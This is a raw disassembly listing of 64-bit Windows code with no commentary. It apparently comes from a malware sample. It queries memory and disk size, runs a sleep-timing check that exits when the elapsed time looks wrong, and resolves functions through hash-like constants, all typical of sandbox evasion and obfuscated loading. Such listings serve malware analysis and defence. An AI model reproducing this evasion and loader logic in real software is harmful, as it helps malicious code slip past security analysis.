lea rdx, str.GlobalMemoryStatusEx
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
lea rcx, [0x00425e00]
call fcn.00406a70
mov edx, 1
mov rcx, rax
call fcn.00405e30
lea rdx, str.GetDiskFreeSpaceExA
xor r8d, r8d
mov rcx, rax
call fcn.004058c0
call qword [0x0042f278]
mov ecx, 0x5dc
mov ebx, eax
call qword [0x0042f498]
call qword [0x0042f278]
sub eax, ebx
cmp eax, 0x513
jg 0x42102c
xor ecx, ecx
call sub.msvcrt.dll_exit
lea rcx, [0x00425660]
call fcn.00415eb0
lea rcx, [0x004255e0]
call fcn.00415eb0
lea rcx, [0x00425620]
call fcn.00415eb0
lea rcx, [0x004256a0]
call fcn.00415eb0
lea rcx, [0x004256e0]
call fcn.00415eb0
cmp eax, 5
jle 0x42063c
jmp 0x420646
lea rcx, [0x00425940]
mov edx, 0x5b0cb628
mov qword [rsp + 0x520], 0
call fcn.00404d90
mov rcx, rbp
mov qword [rsp + 0x520], rax
call fcn.0040b390
xor ecx, ecx
call sub.msvcrt.dll_exit
lea rcx, [0x00425760]
call fcn.00415eb0
cmp eax, 3
je 0x42063c
test eax, eax
je 0x42063c
sub eax, 1
je 0x42063c
jmp 0x420646
lea rcx, [0x00425720]
call fcn.00415eb0
lea rcx, [0x004257e0]
call fcn.00415eb0
mov ecx, 1
call sub.msvcrt.dll_exit
lea rcx, [0x004257a0]
call fcn.00415eb0
lea rcx, [0x0042f430]
xor edx, edx
call fcn.0040b740
test rax, rax
mov qword [0x0042f488], rax
jne 0x420857
xor edx, edx
jmp 0x42085a
call fcn.0040d980
mov qword [rsi], rax
jmp 0x4205ec
call fcn.0040d980
mov qword [rsi], rax
jmp 0x4205d3
mov rcx, rsi
call fcn.00415eb0
lea rcx, [0x00425e00]
call fcn.00415eb0
xor edx, edx
movzx ecx, byte [rbx + rdx + 0x10]
mov byte [rax + rdx + 0x10], cl
add rdx, 1
cmp rsi, rdx
jne 0x421015
jmp 0x420850
lea rcx, [0x00425960]
mov edx, 0x3355ad28
call fcn.00404d90
mov rbx, rax
mov rax, qword [0x0042f2e0]
test rax, rax
je 0x4212c2
mov rcx, qword [rax]
test rbx, rbx
je 0x4212a8
add rcx, qword [rbx]
call fcn.004045a0
mov r8, qword [0x0042f2e0]
test r8, r8
je 0x4210a1
mov rdx, qword [rax]
mov rsi, qword [r8]
lea r10, [rax + rdx + 0x10]
xor edx, edx
lea r9, [rsi + 1]
jmp 0x421091
movzx ecx, byte [r8 + rdx + 0x10]
mov byte [r10 + rdx], cl
add rdx, 1
cmp r9, rdx
jg 0x421083
mov rdx, qword [r8]
add qword [rax], rdx
test rbx, rbx
je 0x4210cc
mov rdx, qword [rax]
mov rsi, qword [rbx]
lea r9, [rax + rdx + 0x10]
xor edx, edx
lea r8, [rsi + 1]
jmp 0x4210c1
movzx ecx, byte [rbx + rdx + 0x10]
mov byte [r9 + rdx], cl
add rdx, 1
cmp r8, rdx
jg 0x4210b4
mov rdx, qword [rbx]
add qword [rax], rdx
mov edx, 0x77df95e8
mov qword [0x0042f2e0], rax
lea rcx, [0x00425a00]
call fcn.00404d90
mov edx, 0x2549ede8
mov rcx, rax
call fcn.00405030
mov rcx, rax
call fcn.00408180
mov rcx, rax
call qword [0x0042f248]
mov edx, 0x43f4f2e8
lea rcx, [0x004259c0]
call fcn.00404d90
mov edx, 0x42830ae8
mov rcx, rax
call fcn.00405030
mov edx, 0x629a6328
lea rcx, [0x00425980]
mov rbx, rax
call fcn.00404d90
mov edx, 0x1c4a2b28
mov rcx, rax
call fcn.00405030
mov rcx, rbx
mov rsi, rax
call fcn.00408180
mov rcx, rsi
mov rbx, rax
call fcn.00408180
mov rcx, rbx
mov rsi, rax
call qword [0x0042f248]
add eax, 1
jne 0x421171
mov rcx, rsi
call qword [0x0042f248]
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [0x0042f250]
test rax, rax
jne 0x42126f
lea rcx, [0x00425ae0]
mov edx, 0x2bafdce8
call fcn.00405030
mov edx, 0x196e53e8
lea rcx, [0x00425ac0]
call fcn.00405030
mov rcx, rax
call fcn.004015c0
mov rcx, rax
call qword [0x0042f2a8]
mov edx, 0x70ae1628
lea rcx, [0x00425a80]
mov rbx, rax
call fcn.00405030
mov rcx, rax
call fcn.004015c0
mov rcx, rbx
mov rdx, rax
call qword [0x0042f2b8]
call fcn.00414130
call fcn.00414130
nop
movaps xmm6, xmmword [rsp + 0x540]
xor eax, eax
movaps xmm7, xmmword [rsp + 0x550]
movaps xmm8, xmmword [rsp + 0x560]
movaps xmm9, xmmword [rsp + 0x570]
movaps xmm10, xmmword [rsp + 0x580]
movaps xmm11, xmmword [rsp + 0x590]
movaps xmm12, xmmword [rsp + 0x5a0]
movaps xmm13, xmmword [rsp + 0x5b0]
movaps xmm14, xmmword [rsp + 0x5c0]
movaps xmm15, xmmword [rsp + 0x5d0]
add rsp, 0x5e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 2
jmp 0x420dd1
lea rcx, [0x00425a60]
mov edx, 0x2ae3a228
call fcn.00404d90
mov edx, 0x294caa28
mov rcx, rax
call fcn.00405030
mov rcx, rax
mov qword [0x0042f2e8], rax
call fcn.00404b30
mov qword [0x0042f2e0], rax
jmp 0x421191
call fcn.004045a0
mov r8, qword [0x0042f2e0]
test r8, r8
jne 0x421070
jmp 0x4210cc
xor ecx, ecx
jmp 0x421053